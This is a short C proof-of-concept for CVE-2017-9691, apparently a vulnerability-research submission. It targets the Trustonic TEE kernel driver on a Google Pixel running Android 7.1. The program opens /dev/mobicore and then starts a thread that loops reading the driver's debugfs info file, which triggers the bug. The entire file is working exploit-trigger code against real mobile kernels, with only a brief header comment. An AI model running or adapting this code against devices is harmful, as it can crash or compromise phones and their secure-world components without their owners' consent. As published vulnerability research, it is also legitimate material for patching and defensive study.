/*
 * https://code.google.com/p/android/issues/detail?id=230805
 * CVE-2017-9691
 * The poc was tested in pixel, 
 * google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com, 201612134
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <pthread.h>

#define DEBUG                                               
#ifdef DEBUG                                             
#define LOG(fmt, ...) do { \
	printf("%s:%d: "fmt "\n", __FUNCTION__, \
			__LINE__, ##__VA_ARGS__); \
} while (0) 
#else
#define LOG(fmt, ...) 
#endif


int fd = -1;

int open_file(char* file)
{
	int fd;
	fd = open(file, O_RDWR);
	if(fd<0) {
		LOG("open %s fail %s\n",file, strerror(errno));
		exit(1);
	}
	LOG("[%d] open %s succ return fd %d\n",gettid(),file, fd);
	
	return fd;
}

#define SIZE 64
void reg_read(int fd)
{
	int ret;
	char buf[SIZE];
	ret = read(fd, buf, SIZE);
	if(ret <= 0) {
		//LOG("read fail %s\n",strerror(errno));
	} else LOG("[%d] succ read %d byte from fd %d\n",gettid(), ret, fd);
	return 0;
}

void ReadThread(void) {
	while(1) { 
		reg_read(fd); 
		sleep(0.1);
	}
}

#define TC 1 
void trigger()
{
	int i, ret;
	pthread_t tids[TC];

	fd = open_file("/sys/kernel/debug/trustonic_tee/info");

	for(i=0; i<TC; i++)
		ret = pthread_create((pthread_t *) &tids[i], NULL, (void *) ReadThread, NULL);
	sleep(50);
	for(i=0; i<TC; i++)
		pthread_join(&tids[i], NULL);
}

void prepare()
{
	int fd;
	fd = open_file("/dev/mobicore");
	//fd = open_file("/dev/mobicore-user");
}

	int
main(int argc, char *argv[])
{
	prepare();
	trigger();
	return 0;
}
